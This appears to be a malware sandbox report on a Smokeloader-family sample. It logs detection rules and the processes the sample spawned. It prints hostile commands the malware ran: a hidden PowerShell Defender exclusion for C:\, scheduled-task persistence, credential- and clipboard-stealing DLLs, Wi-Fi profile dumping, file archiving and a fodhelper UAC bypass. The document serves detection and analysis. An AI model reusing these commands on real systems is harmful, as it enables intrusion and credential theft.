Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, CallWrapper.cs	Suspicious method names: .CallWrapper.GetPayload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@73/35@1/2

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

Code function: 6_2_0000018E5D84262C CreateToolhelp32Snapshot,Thread32First,Thread32Next,FindCloseChangeNotification,SuspendThread,

6_2_0000018E5D84262C

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

File created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2708:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_03
Source: C:\Windows\SysWOW64\dialer.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Mutant created: \Sessions\1\BaseNamedObjects\ab10c56eed80d1785b81ee2fcb4bec96

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4txu1a5.woj.ps1

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\e7CLP6462y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main

Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: OpenWith.exe, 00000002.00000003.1855564581.000002427DD20000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855210666.000002427DD61000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1855354945.000002427DD61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: OpenWith.exe, 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2028249615.00007DF486FBF000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1803614706.000002427D60F000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.2027362775.000002427DB89000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1809932326.000002427D60C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: e7CLP6462y.exe

ReversingLabs: Detection: 57%

Source: e7CLP6462y.exe	String found in binary or memory: {df9dc55e-7bf4-fce3-add0-fbbcbfc59bae}
Source: e7CLP6462y.exe	String found in binary or memory: {870df8a6-6146-5dd5-addd-378b91fba06e}
Source: e7CLP6462y.exe	String found in binary or memory: {4bae1f03-0bb4-adda-209a-54576cafa701}
Source: e7CLP6462y.exe	String found in binary or memory: {384f6227-adde-34e6-e81f-682714c23988}
Source: e7CLP6462y.exe	String found in binary or memory: {e0ebe2ca-8e55-2be3-2544-addea6f5d835}
Source: e7CLP6462y.exe	String found in binary or memory: {0cfe5fb2-a3aa-add2-9c38-b846543ad633}
Source: e7CLP6462y.exe	String found in binary or memory: {3fc95bca-0034-19c0-addc-40ff5a489a31}
Source: e7CLP6462y.exe	String found in binary or memory: {b57dac90-5278-b5a3-addf-eb50dfea59be}
Source: e7CLP6462y.exe	String found in binary or memory: {5b8d1595-add5-40ea-0007-33822a8d20d1}
Source: e7CLP6462y.exe	String found in binary or memory: {21e9d188-9d35-9a3a-addc-1b641930a318}

Source: C:\Users\user\Desktop\e7CLP6462y.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_0-3255

Source: unknown	Process created: C:\Users\user\Desktop\e7CLP6462y.exe "C:\Users\user\Desktop\e7CLP6462y.exe"
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\utihrjr C:\Users\user\AppData\Roaming\utihrjr
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B677.exe C:\Users\user\AppData\Local\Temp\B677.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B88B.exe C:\Users\user\AppData\Local\Temp\B88B.exe
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\."
Source: C:\Windows\System32\tar.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /k START C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe "C:\Users\user\AppData\Roaming\D4C0.vmt.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B677.exe C:\Users\user\AppData\Local\Temp\B677.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B88B.exe C:\Users\user\AppData\Local\Temp\B88B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Process created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe"
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\tar.exe tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\."
Source: C:\Windows\SysWOW64\dialer.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /k START C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe C:\Windows\System32\fodhelper.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\System32\fodhelper.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"

Source: C:\Windows\SysWOW64\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Jump to behavior

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831[ source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
